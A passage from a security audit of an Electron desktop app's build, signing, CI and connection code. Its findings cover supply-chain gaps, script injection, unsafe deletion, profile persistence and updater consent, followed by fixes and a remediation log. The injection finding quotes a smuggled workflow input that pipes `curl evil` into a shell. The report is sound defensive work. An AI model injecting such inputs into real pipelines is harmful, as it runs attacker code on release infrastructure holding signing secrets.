announcement. If npm-scope control ever diverges from repo control, this is a quiet substitution channel. The tarball is also extracted with system `tar` rather than npm's sanitized extraction (modern tars refuse `..` by default — hence Medium). +- **Fix:** Gate the npm path behind an explicit env flag (`PAPERCLIP_UI_FROM_NPM=1`) or remove it until the package exists; when enabling, verify `npm view … dist.integrity` sha512 and extract via `pacote`. +- **How I found this:** Read the future-proofing block; the silent total switch (early exit before the clone path) is the tell. Medium because the npm scope appears controlled by the same upstream today. + +#### PD-020 — Staged runtime install: transitive deps unpinned, and the resolved lockfile is deleted +- **Severity:** Medium · **Confidence:** high +- **Where:** `scripts/release-macos-local.mjs:260-280, 405-416` (lock deleted at 415) +- **Problem:** The stage install correctly uses `--ignore-scripts --omit=dev` and pins top-level versions from local `node_modules`, but transitives still resolve fresh from the registry at package time — what ships can differ from what was tested. The generated `package-lock.json` is then deleted, destroying the only record of the shipped tree. +- **Fix:** Minimum: copy the lockfile into the arch output dir next to `verification-summary.json` as an audit artifact. Better: pre-generate a reviewed lockfile and use `npm ci`. +- **How I found this:** Compared the three install sites; the explicit `rmSync(package-lock.json)` stood out as destroying audit evidence. + +#### PD-021 — Missing `app-server` bundle tolerated end-to-end: a gutted app can pass verification +- **Severity:** Medium · **Confidence:** medium (each skip verified; end-to-end scenario reasoned) +- **Where:** `scripts/after-pack.mjs:165-168`, `scripts/stage-after-pack.mjs:208-210`, `scripts/verify-macos-release.mjs:172-176` (+ skip at ~252–255) +- **Problem:** If `Contents/Resources/app-server` is absent, after-pack logs "skipping", stage-after-pack returns silently, and the verifier returns `null` from `verifyServerRuntimeDependencies` — skipping the dylib/UI/migration checks entirely. A packaging mistake can produce a signed, notarized, "verified" app with no embedded server. Internal contradiction: `stage-after-pack.mjs` line 208 returns silently while its own `copyServerNodeModules` throws on the same class of absence. +- **Fix:** Make the bundle mandatory in the verifier (`throw` when `server/package.json` is missing) and turn the stage-after-pack early return into an error. +- **How I found this:** "Could we ship a partial artifact?" lens — traced the missing-bundle failure mode through all three layers expecting at least one hard failure; all three degrade to skip. + +#### PD-022 — Notarization gate is fail-open (opt-in via env var) while the signing gate is fail-closed +- **Severity:** Medium · **Confidence:** medium +- **Where:** `scripts/after-sign.mjs:25-37` +- **Problem:** Notarization is only *required* when `PAPERCLIP_REQUIRE_MACOS_RELEASE_SIGNING === "1"`; with credentials absent and the flag unset, the build completes and produces DMG/ZIPs Gatekeeper will reject. Asymmetric with `after-pack.mjs`'s `ALLOW_UNSIGNED_MACOS_BUILD` gate, which fails closed. Nothing in CI pins the flag on (grep-verified). +- **Fix:** Invert the default: throw when notary credentials are missing unless `ALLOW_UNNOTARIZED_MACOS_BUILD=true` is explicitly set, mirroring the after-pack pattern. +- **How I found this:** Compared the two gates side by side; the fail-open/fail-closed asymmetry is the finding. + +#### PD-023 — `sh -c` with interpolated paths in cleanup helpers (injection-shaped; inputs currently safe) +- **Severity:** Low · **Confidence:** high (pattern) / possible (exploitability) +- **Where:** `scripts/after-pack.mjs:116, 119`; `scripts/stage-after-pack.mjs:67-68`; same shape in `scripts/prepare-server.mjs:254-264` (curl/tar/powershell) and `scripts/build-ui.mjs:61, 72, 108` (`serverVersion`/tag into `execSync`) +- **Problem:** Paths/versions interpolated into shell strings. Today all inputs are constants or repo-rooted paths (the product name's space is quoted), but a checkout path containing `"`, `$(`, or backticks would execute arbitrary shell. `serverVersion` comes from your own committed package.json — same Low rating. +- **Fix:** Drop the shell: `execFileSync("find", [appPath, "-name", "._*", "-delete"])`, `execFileSync("git", ["clone", "--depth", "1", "--branch", tag, REPO_URL, cloneDir])`, etc. +- **How I found this:** Enumerated every child-process call in all 13 scripts and classified by shell exposure; everything else already uses argv arrays (codesign, notarytool, gh, ditto — all clean). + +#### PD-024 — Release verifier's identity/team checks are optional; without env vars any valid signature passes +- **Severity:** Low · **Confidence:** medium +- **Where:** `scripts/verify-macos-release.mjs:8-9, 74-80`; caller gap `scripts/notarize-prebuilt-macos.mjs:148-154` +- **Problem:** `APPLE_CODESIGN_IDENTITY`/`APPLE_TEAM_ID` checks are skipped when unset, so a run without them asserts only "consistently signed by someone". The local release flow forwards identity; the notarize-prebuilt flow does not (it leans on `--require-stapled`, which mostly compensates — hence Low). +- **Fix:** Refuse weak verification: throw when neither expected identity/team nor `--require-stapled` is in effect. +- **How I found this:** Audited what each "verify" step actually proves and walked both call sites of the verifier. + +#### PD-025 — `electronVersion` derived by stripping the semver range: packaged Electron can differ from the tested one +- **Severity:** Low · **Confidence:** high +- **Where:** `scripts/release-macos-local.mjs:342`; `scripts/repackage-prebuilt-macos.mjs:84` +- **Problem:** `"^41.5.0".replace(/^[^\d]*/, "")` → packages exactly 41.5.0, while the locally installed (developed/smoke-tested) Electron may be any newer 41.x from the lockfile. You can ship an Electron you never ran; security patches don't reach artifacts until the range floor is bumped. +- **Fix:** Read `node_modules/electron/package.json` `.version` instead. +- **How I found this:** The range-strip idiom only makes sense if the field can be a range — checked package.json, it's a caret range, so the mismatch is real. + +#### PD-026 — Operator-supplied output paths feed `rmSync(recursive)` with no containment check +- **Severity:** Low · **Confidence:** possible (operator-error foot-gun, not attacker-driven) +- **Where:** `scripts/release-macos-local.mjs:476, 536` (`--output-root`); `scripts/prepare-macos-release-assets.mjs:266-268` (`--output-dir`); `scripts/notarize-prebuilt-macos.mjs:157-158, 173` +- **Problem:** `resolve(projectRoot, userArg)` honors absolute paths, so a typo'd or empty-evaluating CI variable (e.g. `--output-root /Users/aronprins`) becomes the target of a recursive forced delete. +- **Fix:** Require the resolved path to start with `projectRoot + sep` unless `--allow-external-output` is passed. +- **How I found this:** Enumerated every `rmSync(recursive)` and classified each path's provenance; only the CLI-arg ones lack containment. + +#### PD-027 — Finder-duplicate heuristic can delete legitimate bundle files +- **Severity:** Low · **Confidence:** possible +- **Where:** `scripts/prepare-server.mjs:75-114` (regex at ~99) +- **Problem:** Any non-symlink file whose basename ends in space + digits (`chart 2.png`, `step 1.md`) is deleted from the shipped bundle — no check that a de-numbered sibling exists. +- **Fix:** Only treat as duplicate when `dirname/file` actually exists; keep the loud warning. +- **How I found this:** Applied the unsafe-deletion lens to the bundle contents, not just filesystem roots; the purely name-based regex with no sibling check is the tell. + +#### PD-028 — Hand-rolled YAML parser/serializer for `latest-mac.yml`, the auto-update integrity root +- **Severity:** Low · **Confidence:** medium +- **Where:** `scripts/prepare-macos-release-assets.mjs:51-169` +- **Problem:** `latest-mac.yml` carries the sha512 values electron-updater uses to verify downloads. The custom parser handles only the exact shape electron-builder currently emits (breaks on quoted colons, multiline values, comments; coerces all-digit strings to Number). A mis-parse either fails the release or emits a subtly wrong manifest. Mitigating: the existing URL-uniqueness/version-parity checks are good. Bonus gap: the script copies artifacts but never recomputes their sha512 against the manifest claims. +- **Fix:** Use `js-yaml` (already in node_modules via electron-builder), and recompute each file's sha512 during the copy, failing on mismatch — turning the script into a true integrity check. +- **How I found this:** Read the parser against electron-builder's actual output format and probed edge cases; noticed the missed recompute win while tracing the copy loop. + +#### PD-029 — `getRelease` conflates "release not found" with any `gh` failure +- **Severity:** Low · **Confidence:** possible +- **Where:** `scripts/publish-macos-release-assets.mjs:79-85` +- **Problem:** `allowFailure: true` returns null for expired tokens/network blips too; the script then tries `gh release create`, bypassing the (well-designed) draft-protection checks in that error path — saved only by `gh` refusing existing tags. +- **Fix:** Distinguish via stderr (`/release not found|Not Found/i`) and throw on anything else. +- **How I found this:** Audited the draft-protection logic's key safety property (never clobber a published release) and probed its error paths. + +--- + +### Batch 5 — CI, packaging config, tests + +#### PD-030 — `workflow_dispatch` inputs interpolated directly into `run:` shell blocks (script injection) +- **Severity:** Medium · **Confidence:** high (verified by grep) +- **Where:** `.github/workflows/release.yml:233` (`tag="${{ github.event.inputs.ref }}"`); `.github/workflows/notarize-submit.yml:60` (input → `GITHUB_ENV`); `.github/workflows/notarize-status.yml:70-71` (submission-id inputs into a shell function call) +- **Problem:** `${{ }}` expands before the shell runs — an input like `v1.0.0"; curl evil | sh; echo "` executes arbitrary commands. notarize-submit:60 is worst: a newline-containing input injects arbitrary env vars into subsequent steps of a job holding Apple notarization credentials. Requires write access to dispatch, but these jobs run in the `release` environment with signing secrets — a low-trust collaborator compromise becomes a signing-pipeline compromise. +- **Fix:** Pass inputs through step `env:` (injection-safe assignment) and reference `"$INPUT_REF"` in the script; for notarize-submit, set `NOTARIZE_TAG` via step `env:` instead of `GITHUB_ENV`, and/or validate `[[ "$INPUT_TAG" =~ ^v[0-9][0-9A-Za-z.+-]*$ ]]`. +- **How I found this:** Grepped every `run:` block for `${{`; ruled out expression-context uses (concurrency group, artifact names, `with:` params) which aren't shell-evaluated. + +#### PD-031 — Actions pinned by mutable tag, not commit SHA (incl. third-party `pnpm/action-setup`) +- **Severity:** Medium · **Confidence:** high +- **Where:** all `uses:` lines across the three active workflows (e.g. release.yml:38–206, notarize-submit.yml:114, notarize-status.yml:88) +- **Problem:** `pnpm/action-setup@v4` is third-party, tag-pinned, and runs before signing steps in jobs holding Apple certs — a compromised tag push executes attacker code on the signing runner. `actions/*` are lower risk but the same logic applies. +- **Fix:** Pin to full SHAs with version comments; enable Dependabot `github-actions` updates. +- **How I found this:** Listed every `uses:` across active and disabled workflows; none SHA-pinned; prioritized the non-`actions/` org one. + +#### PD-032 — Entitlements broader than necessary (`allow-unsigned-executable-memory`; possibly `disable-library-validation`) +- **Severity:** Medium (hardening) · **Confidence:** medium +- **Where:** `build/entitlements.mac.plist:6-12`; `build/entitlements.mac.inherit.plist:5-10` +- **Problem:** `allow-jit` is needed (V8/Node under hardened runtime). `allow-unsigned-executable-memory` is a pre-Electron-12 relic on Electron ^41 — it permits RWX shellcode-style memory process-wide. `disable-library-validation` lets the app load *any* unsigned dylib; since `after-pack.mjs` signs every Mach-O under `app-server` with your team identity, library validation (which allows same-team dylibs) may suffice. Positive: the inherit plist omits `allow-dyld-environment-variables`, tighter than electron-builder's default. +- **Fix:** Remove `allow-unsigned-executable-memory` from both plists, run `smoke:mac:packaged`, notarize a test build; then trial-remove `disable-library-validation` (keep only if a bundled native module is ad-hoc/third-party-signed). +- **How I found this:** Read both plists, then read after-pack.mjs end-to-end to confirm all nested Mach-Os get team-signed — which is what makes `disable-library-validation` plausibly removable. + +#### PD-033 — Dormant: `sync-upstream.yml.disabled` is an unattended npm→master→tag→release pipeline +- **Severity:** Medium (dormant — currently disabled) · **Confidence:** high +- **Where:** `.github/workflows.disabled/sync-upstream.yml.disabled` (cron + `contents: write` + `git push origin master --tags`) +- **Problem:** If re-enabled as-is: every 6h it takes whatever `@paperclipai/server` npm reports, runs `pnpm install --no-frozen-lockfile` (new upstream postinstalls execute with a write token), commits to master, tags — designed to trigger the release flow. One malicious npm publish upstream ships to end users with zero human review. Also interpolates the registry-controlled version string into `run:` blocks (same pattern as PD-030). +- **Fix (before re-enabling):** Open a PR instead of pushing to master; require manual tag creation; pass the version via `env:` and validate `^\d+\.\d+\.\d+$`. +- **How I found this:** Full read of the disabled file; the workflows.disabled README confirms intentional parking, so severity reflects dormancy. Also checked the other two disabled workflows: cross-run artifact download via `${{ inputs.build_run_id }}` would be an artifact-poisoning surface if revived; no `pull_request_target` anywhere in the repo. + +#### PD-034 — Workflow-level `contents: write` granted to all release.yml jobs +- **Severity:** Low · **Confidence:** high +- **Where:** `.github/workflows/release.yml:21-22` +- **Problem:** The three build jobs run `pnpm install` (arbitrary third-party postinstalls) and electron-builder while holding a token that can push code and create releases; only `publish-release` needs write. +- **Fix:** Workflow-level `contents: read`; job-level `contents: write` on `publish-release` only. +- **How I found this:** Checked which jobs actually consume `GITHUB_TOKEN` — only publish (line 212). + +#### PD-035 — P12 certificate password passed as a CLI argument (argv-visible) +- **Severity:** Low · **Confidence:** high +- **Where:** `.github/workflows/release.yml:82` (`security import … -P "$MAC_CERTIFICATE_PASSWORD"`) +- **Problem:** Momentarily visible in `ps` on the runner. Mostly theoretical on ephemeral GitHub-hosted runners — but it's the only place a secret leaves env/file scope. Everything else in that step is genuinely well done (`umask 077`, `::add-mask::`, base64 via Python, `always()` cleanup). +- **Fix:** Accept-and-document, or switch to a SHA-pinned `apple-actions/import-codesign-certs`. +- **How I found this:** Traced every secret in the step from source to sink; this was the single argv exposure. Verified no secret-bearing files land in uploaded artifacts. + +#### PD-036 — `publish-release` gating: a `platforms=all` tag run builds everything and silently publishes nothing +- **Severity:** Low (process/correctness) · **Confidence:** high +- **Where:** `.github/workflows/release.yml:193-198` (requires `needs.build-mac.result == 'skipped'`) +- **Problem:** Presumably intentional (mac publishes via the notarize flow), but it's a trap: `platforms=all` on a `v*` ref produces no release and no error. Note: `startsWith(inputs.ref, 'v')` would match a branch `vNext`, but `gh release create --verify-tag` (line 239) backstops that. +- **Fix:** Document in the workflow, or add a loud guard step that fails when mac + tag publish are combined. +- **How I found this:** Walked the `if:` matrix for each `platforms` value against `needs` results. Ruled out cross-run artifact poisoning (download-artifact@v4 is same-run by default). + +#### PD-037 — Unguarded `find | head -1` feeds `notarytool submit` +- **Severity:** Low · **Confidence:** high +- **Where:** `.github/workflows/notarize-submit.yml:95-96` +- **Problem:** If the release lacks one arch's zip, `notarytool submit ""` fails late and confusingly; the x64 pattern "first non-arm64 zip" could pick a wrong asset if release shape ever changes. +- **Fix:** Capture to a variable, `[ -n "$zip" ] || { echo "::error::…"; exit 1; }`. +- **How I found this:** Traced empty-input behavior under `set -euo pipefail` through the submit helper. + +#### PD-038 — tsconfig strictness gaps +- **Severity:** Low · **Confidence:** high +- **Where:** `tsconfig.json:2-16` +- **Problem:** `strict: true` is set (good) but missing `noUncheckedIndexedAccess` (most valuable for this app's URL/health-payload parsing), `noImplicitOverride`, `noFallthroughCasesInSwitch`; `moduleResolution: "node"` is the legacy resolver. +- **Fix:** Add the three flags and fix fallout. +- **How I found this:** Full read of tsconfig against current strictness best practice. + +#### PD-039 — Test-suite gaps on the riskiest modules +- **Severity:** Low · **Confidence:** high +- **Where:** `test/window-policy.test.mjs` (28 lines), after-pack/after-sign (zero tests), `test/connection-preflight.test.mjs` (no 3xx-response case), `test/prepare-macos-release-assets.test.mjs` (no missing-arch case) +- **Problem:** No fake assertions found anywhere (several suites assert negative space too — good). But window-policy — the security-riskiest module — has the thinnest coverage: no `file://`, `javascript:`, `data:`, uppercase-scheme, or origin-confusable (`https://host.example.evil.com`) cases. The release-critical signing hooks have no tests at all. +- **Fix:** Add adversarial URL cases to window-policy tests; add a redirect-response case to preflight; cover the missing-arch path in release-asset tests. +- **How I found this:** Read all 9 test files in full, checking each assertion asserts something real, then mapped coverage against the riskiest source modules. + +--- + +### Batch 2 — Connection handling & updater + +#### PD-040 — Preflight timeout covers only response headers; body read can hang forever +- **Severity:** Medium · **Confidence:** high (verified) +- **Where:** `src/connection/preflight.ts:247-261` (`fetchWithTimeout`), `213` and `228` (`response.json()`); same pattern in `src/connection/local-server-health.ts:35` (lower risk — local target) +- **Problem:** `fetchWithTimeout` clears the abort timer in `finally` as soon as `fetch` resolves — i.e. at headers-complete. The body is consumed afterwards by the callers with no timeout and no armed signal. A hostile or broken remote can send headers instantly then trickle the body one byte a minute: preflight never resolves, the launcher's "Opening verified remote…" hangs indefinitely, the socket stays open. The 8s `timeoutMs` is a false total deadline. +- **Fix:** Keep the controller armed until the body is consumed — fold the JSON read into the helper and `clearTimeout` only after `await response.json()` completes (body reads honor the abort signal). +- **How I found this:** Traced the lifetime of the `AbortController` versus the lifetime of the network exchange; `clearTimeout` fires when the fetch promise settles (headers-complete per spec), while `.json()` happens in the callers with the timer dead. Confirmed the production `fetchImpl` is Chromium's `session.fetch` with the same semantics. Ruled out redirect-following (correctly `redirect: "manual"`). + +#### PD-041 — No response size cap on preflight JSON: memory exhaustion from a hostile remote +- **Severity:** Medium · **Confidence:** high (mechanism; exploitation requires probing a hostile URL) +- **Where:** `src/connection/preflight.ts:213, 228`; `src/connection/local-server-health.ts:35` +- **Problem:** `response.json()` buffers the entire body in main-process memory. A hostile server answering `/api/health` with `Content-Type: application/json` and a multi-GB body can OOM the Electron main process — this runs before any trust is established. +- **Fix:** Check `Content-Length` and read via the stream with a hard cap (256 KB is generous for health payloads), then `JSON.parse` the bounded text. Combine with the PD-040 fix. +- **How I found this:** While fixing the timeout-scope question, checked what bounds body consumption: none — no length check, no stream cap. + +#### PD-042 — Non-atomic profile persistence + swallow-all read fallback can silently wipe all profiles +- **Severity:** Medium (data loss) · **Confidence:** high (verified) +- **Where:** `src/connection/profiles.ts:249-253` (`persist` — in-place `writeFileSync`), `256-263` (`readConnectionsFile` — bare catch-all → defaults) +- **Problem:** Compounding pair: (1) a crash/power loss mid-write leaves a truncated `connections.json`; (2) the reader catches *every* error — not just ENOENT, but EACCES, transient I/O, and parse errors — and returns defaults; the next `persist()` (any mutation) then overwrites the file, permanently destroying all saved remote profiles. +- **Fix:** Atomic write (`writeFileSync(tmp)` + `renameSync`); in the reader, fall back to defaults only on ENOENT/SyntaxError — and on SyntaxError, preserve the unreadable file as `connections.json.bak` before the next overwrite. +- **How I found this:** Examined the full read–sanitize–write cycle under the tampered/corrupt-file threat model; the undiscriminating `catch` plus in-place write is a classic corruption-then-clobber pair. + +#### PD-043 — Hostnames starting with "fc"/"fd" misclassified as private IPv6 +- **Severity:** Low · **Confidence:** high (verified) +- **Where:** `src/connection/validate.ts:87-90` +- **Problem:** `isPrivateIpv6` does `startsWith("fc")`/`startsWith("fd")` on the raw hostname — `fcbarcelona.com` is "private". Consequence: the *softer* "trusted private network" insecure-HTTP warning is shown for a public internet host, understating risk at exactly the moment the user decides whether to allow plaintext HTTP. (Warning-copy impact only — not an access-control boundary.) +- **Fix:** Require an IPv6 literal first: `if (!lower.includes(":")) return false;` then check `::1`/`fc`/`fd`/`fe80:`. +- **How I found this:** Tested the classifier against adversarial hostnames; the IPv4 path requires a strict dotted-quad regex but the IPv6 path has no literal check at all. + +#### PD-044 — Private-range detection gaps: `0.0.0.0`, `fe80::/10`, IPv4-mapped IPv6 +- **Severity:** Low · **Confidence:** medium +- **Where:** `src/connection/validate.ts:65-90` +- **Problem:** `0.0.0.0` (routes to loopback on macOS/Linux), link-local `fe80::/10`, and `::ffff:192.168.x.x` mapped forms are not classified private — affects only which warning string the user sees. +- **Fix:** Add `a === 0`, the `fe80:` prefix, and unwrap `::ffff:` before the IPv4 check. +- **How I found this:** Enumerated RFC special-use ranges against the conditionals. Confirmed WHATWG `URL` already normalizes decimal/octal/hex IPv4 tricks before this code runs, so those bypasses are not live. + +#### PD-045 — `ConnectionStore` doesn't enforce its own insecure-HTTP consent invariant on health/result updates +- **Severity:** Low · **Confidence:** possible (currently mitigated by callers) +- **Where:** `src/connection/profiles.ts:193-199, 204-213, 215-226` +- **Problem:** `saveRemoteProfile` refuses `http://` without `allowInsecureHttp: true`, but `recordConnectionResult`/`recordRemoteHealth`/`syncRemoteProfileUrl` overwrite `remoteUrl` and auto-set `allowInsecureHttp` from the result — the store grants consent to itself — and trust `result.normalizedUrl` blindly (a `buildFailure` result carries the raw trimmed input as `normalizedUrl`, preflight.ts:337). Current main.ts callers re-validate consent first, so this is defense-in-depth today; any future caller bypasses the gate. +- **Fix:** Only update `remoteUrl` when `result.ok === true`; throw (like `saveRemoteProfile`) instead of auto-setting the consent flag. +- **How I found this:** Compared the invariant enforced in `saveRemoteProfile` against every other mutation path; traced `normalizedUrl` provenance through `buildFailure`; confirmed caller mitigation in main.ts (hence "possible"). + +#### PD-046 — Tampered profile `id` flows unsanitized into the Electron session partition name +- **Severity:** Low · **Confidence:** possible +- **Where:** `src/connection/profiles.ts:304-317` (accepts any string id); `src/connection/window-policy.ts:33-35` (`remotePartitionForProfile`) +- **Problem:** A tampered `connections.json` id like `"../../../x"` reaches `session.fromPartition("persist:paperclip-remote-…")`, from which Chromium derives an on-disk directory; Electron's sanitization of hostile partition names is version-dependent. Duplicate ids would also alias two profiles onto one cookie jar (concrete regardless). +- **Fix:** Validate `raw.id` against `/^[0-9a-f-]{36}$/i` in `sanitizeRemoteProfile`, regenerate on mismatch, de-duplicate. (Same root cause as PD-011 — one fix covers both.) +- **How I found this:** Diffed what `sanitizeRemoteProfile` validates against what it passes through verbatim — only `id` and `name`, and `id` escapes into a filesystem-adjacent namespace. Confirming exploitability needs a partition-name escaping test on Electron 41. + +#### PD-047 — Updates downloaded without consent and installed on quit even after "Later" +- **Severity:** Low (consent/UX integrity, not code execution) · **Confidence:** high +- **Where:** `src/updater.ts:32-33, 71-77, 285-327` +- **Problem:** `autoDownload = false` signals a consent-based design, but the silent scheduler passes `downloadIfAvailable: true` (downloads without asking), and `autoInstallOnAppQuit = true` means a downloaded update installs at next quit even when the user answered "Later" — which reads as "don't update yet" but means "update when I quit". No downgrade risk (`allowDowngrade` defaults false); feed is GitHub Releases over HTTPS. +- **Fix:** Pick one consent model and align all three flags: either don't auto-download until the user accepts, or set `autoInstallOnAppQuit = false` and install only on explicit "Restart". +- **How I found this:** Cross-checked the three consent surfaces (autoDownload flag, silent-check options, dialog semantics) for consistency; they disagree. + +#### PD-048 — Restart-prompt race: menu check silently no-ops; staged-update record cleared before quit succeeds +- **Severity:** Low · **Confidence:** medium +- **Where:** `src/updater.ts:104-107, 302-307, 321` +- **Problem:** If the auto restart prompt is on screen, "Check for Updates" from the menu returns silently (`restartPromptVisible` guard) with zero feedback. And `downloadedVersion = null` is set *before* `quitAndInstall()` — if quit is vetoed, the in-memory record of the staged update is gone and the next check offers to re-download it. +- **Fix:** Focus the existing dialog's window from the menu path; clear `downloadedVersion` only after quit is actually under way. +- **How I found this:** Walked the state machine of the four module-level flags across both entry points; the check/download promise-sharing is done correctly — these were the two inconsistent transitions. + +#### PD-049 — Malformed JSON from a reachable server misclassified as "unreachable" +- **Severity:** Low · **Confidence:** high +- **Where:** `src/connection/preflight.ts:186-196, 213, 228, 354-372` +- **Problem:** `Content-Type: application/json` + malformed body → `response.json()` throws → the outer catch classifies it `unreachable, paperclipDetected: false`, sending users down the wrong troubleshooting path (the non-JSON content-type case *is* handled gracefully). Side note: those non-JSON paths never `response.body?.cancel()` — harmless at this frequency. +- **Fix:** Wrap each `.json()` in its own try/catch → `reason: "not_paperclip"` with an "invalid JSON" detail; preserve `paperclipDetected: true` after a successful health probe. +- **How I found this:** Enumerated every throw site inside the big try block and checked which `reason` each lands on. + +#### PD-050 — `connections.json` written world-readable +- **Severity:** Low · **Confidence:** high (verified) +- **Where:** `src/connection/profiles.ts:252` +- **Problem:** Default mode 0644. The file carries no credentials (userinfo rejected at validation; auth lives in Electron partitions) — hygiene only: server URLs + timestamps are mildly sensitive infrastructure metadata on shared machines. +- **Fix:** `{ encoding: "utf8", mode: 0o600 }` (apply to the atomic-write temp file from PD-042 too). +- **How I found this:** Chased the "plaintext tokens on disk" checklist item: confirmed the profile schema is URL+metadata only, then checked the write mode. + +#### PD-051 — On-disk `version` field written but never read: forward-compat downgrade hazard +- **Severity:** Low · **Confidence:** high +- **Where:** `src/connection/profiles.ts:265-282`; `CONNECTIONS_FILE_VERSION` in types.ts:3 +- **Problem:** A future v2 schema read by v1 code gets partially parsed through v1 rules, unknown data dropped, and the file overwritten as v1 — irreversible on downgrade. +- **Fix:** Compare versions on load; back up the file before migrating/clobbering a newer version. +- **How I found this:** Grepped the constant — only ever written, never compared. + +--- + +## Ruled out (checked, no finding) + +- **lodash override `4.18.1` (package.json:52):** verified legitimate — pnpm-lock resolves `lodash@4.18.1` with a real integrity hash, and the npm registry confirms 4.18.1 exists/is current. Not a typo. Remaining overrides are known-CVE patch pins (good hygiene). Maintenance note: exact overrides silently cap future transitive upgrades; revisit periodically. +- **Electron window hardening (main.ts):** `nodeIntegration: false` + `contextIsolation: true` on all windows; remote windows sandboxed; `setWindowOpenHandler` denies all and routes externals through `shouldOpenExternally` (http/https + foreign-origin check); `will-navigate`/`will-redirect` both enforced; permission requests denied; webviews blocked. +- **Launcher XSS via profile name/URL/server strings:** every such value reaches the DOM through `escapeHtml` in text position or `textContent`; `getLauncherHtml()` is a single template literal with zero `${}` interpolations (no build-time injection). Credentialed URLs rejected by `validate.ts` before display. (`escapeAttr` at launcher-html.ts:1959 is dead code — never called; delete for clarity.) +- **Command injection via release-critical variables:** every codesign/notarytool/gh/ditto/electron-builder call uses argv arrays; signing identities never touch a shell string. Only the PD-023 sites interpolate, all constant/repo-rooted today. +- **Zip-slip in verification/notarization:** `ditto -x -k` into fresh `mkdtemp` dirs; Node tarball extraction names the exact member. +- **Secrets in process lists/logs (scripts):** notarytool gets a key-file *path*; gh uses its own credential store; logged JSON contains submission IDs/status only. (CI exception: PD-035.) +- **Cross-run artifact poisoning in release.yml:** `download-artifact@v4` pulls same-run artifacts only. +- **electron-builder `files` glob:** tight (`dist/**/*` + package.json) — no secret-bundling risk; publish correctly scoped to own repo, `releaseType: release`. +- **`runtime-safety.ts` / smoke test:** genuinely good defensive code — refuses production data paths under isolation, validates absolute paths; smoke test asserts no production-path touches. +- **Prototype pollution via profile JSON:** `sanitizeConnectionsFile`/`sanitizeRemoteProfile` rebuild objects field-by-field with type guards; parsed `__proto__` never escapes into spreads of trusted objects. +- **Redirect-following SSRF / credential leak in preflight:** `redirect: "manual"` on every fetch; probe URLs built from the validated origin only; userinfo/IDN tricks rejected/normalized at validation. +- **window-policy origin checks:** exact `parsed.origin === allowedOrigin` equality (not substring); opaque origins (`file:`, `data:`, `about:blank`) serialize to `"null"` and fail closed; `allowedOrigin` always derives from an http(s) URL's `.origin` so the `"null"==="null"` self-match is unreachable. +- **Updater downgrade/channel confusion:** `allowDowngrade` and channel overrides unset; electron-updater defaults safe; feed is own-repo GitHub Releases over HTTPS. + +--- + +## Summary + +**Coverage: all 46 inventory items are marked done.** Every first-party source file was read +in full; each High finding and each batch's key claims were independently re-verified +against the cited lines before being recorded. + +Totals: **0 Critical · 5 High · 15 Medium · 31 Low** (51 findings, PD-001…PD-051). + +### High +| ID | Title | File | +|----|-------|------| +| PD-001 | No single-instance lock — 2nd instance kills 1st instance's live server | src/main.ts | +| PD-015 | Bundled Node binary downloaded with no checksum verification | scripts/prepare-server.mjs | +| PD-016 | Node cache key omits version — bumps silently ship old Node | scripts/prepare-server.mjs | +| PD-017 | Shipped server bundle: no lockfile, lifecycle scripts enabled | scripts/prepare-server.mjs | +| PD-018 | Shipped UI built from mutable upstream git tag, no commit pin | scripts/build-ui.mjs | + +### Medium +| ID | Title | File | +|----|-------|------| +| PD-002 | Stale-PID kill can SIGTERM an unrelated process tree | src/main.ts | +| PD-003 | Port TOCTOU + unauthenticated localhost trust | src/main.ts | +| PD-004 | Login-shell PATH probe executes rc files, trusts result | src/main.ts | +| PD-010 | Stale verification applied to a different URL (verify bypass) | src/launcher-html.ts | +| PD-019 | Future npm UI publication silently switches shipped-UI source | scripts/build-ui.mjs | +| PD-020 | Stage install: transitives unpinned; resolved lockfile deleted | scripts/release-macos-local.mjs | +| PD-021 | Missing app-server bundle tolerated — gutted app passes verify | after-pack / stage-after-pack / verify scripts | +| PD-022 | Notarization gate fail-open (signing gate is fail-closed) | scripts/after-sign.mjs | +| PD-030 | workflow_dispatch inputs interpolated into run: blocks | all 3 active workflows | +| PD-031 | Actions tag-pinned, not SHA-pinned (incl. third-party) | all workflows | +| PD-032 | Entitlements broader than needed (unsigned-exec-memory, lib validation) | build/*.plist | +| PD-033 | (dormant) sync-upstream = unattended npm→release pipeline | workflows.disabled | +| PD-040 | Preflight timeout covers headers only — body can hang forever | src/connection/preflight.ts | +| PD-041 | No size cap on preflight JSON — OOM from hostile remote | src/connection/preflight.ts | +| PD-042 | Non-atomic persist + swallow-all read can wipe all profiles | src/connection/profiles.ts | + +### Low +PD-005…PD-009 (shutdown robustness, port-probe timeout, preload listeners) · +PD-011…PD-014 (launcher id-attribute escaping, latent class injection, null guards, double-submit) · +PD-023…PD-029 (script shell-interpolation shape, weak-verify default, electronVersion drift, rm containment, Finder-duplicate heuristic, hand-rolled YAML for update manifests, gh error conflation) · +PD-034…PD-039 (CI token scope, argv password, publish gating trap, find|head guard, tsconfig, test gaps) · +PD-043…PD-051 (private-host classifier gaps, store consent invariant, partition id, updater consent model & races, JSON misclassification, file mode, schema version). + +### Recommended fix order +1. **Supply chain (PD-015+PD-016 one patch, PD-017, PD-018):** checksum + version the bundled Node; lockfile + `--ignore-scripts` for the shipped bundle; pin the upstream commit SHA. These protect every artifact you ship. +2. **PD-001** single-instance lock (one-line guard, prevents real-world data-dir fights). +3. **Fail-closed release gates (PD-021, PD-022)** so a partial/un-notarized artifact can't pass green. +4. **CI hardening (PD-030, PD-031):** inputs via `env:`, SHA-pin actions — small diffs, big blast-radius reduction. +5. **PD-040–PD-042** (preflight body timeout/cap, atomic profile persistence) and **PD-010** (verify-token guard). +6. Lows opportunistically; PD-011+PD-046 share one fix (UUID-validate profile ids; drop inline onclick handlers). + +--- + +## Remediation log + +### 2026-06-11 — branch `audit-fixes-2026-06` + +Fixed in this pass (build + 52 unit tests green; new tests added for the security-relevant changes): + +- **Supply chain:** PD-015 (verify bundled Node against nodejs.org `SHASUMS256.txt` before extraction), PD-016 (version-keyed Node cache marker; stale cache rebuilt on `NODE_VERSION` bump). +- **Electron main:** PD-001 (single-instance lock + `second-instance` focus), PD-002 (strict `/^\d+$/` PID validation), PD-005/PD-006 (idempotent `killServer` with shared promise + SIGKILL escalation after 5s), PD-008 (port-probe connect timeout). +- **Connection layer:** PD-040 (abort timer stays armed through body read), PD-041 (256 KB preflight body cap), PD-049 (malformed JSON no longer misclassified as "unreachable"), PD-042 (atomic profile write + discriminating reader that backs up corrupt files and no longer clobbers on EACCES), PD-050 (mode 0600), PD-043/PD-044 (private-host classifier: IPv6-literal guard, `0.0.0.0`, `fe80::/10`, IPv4-mapped IPv6). +- **Launcher 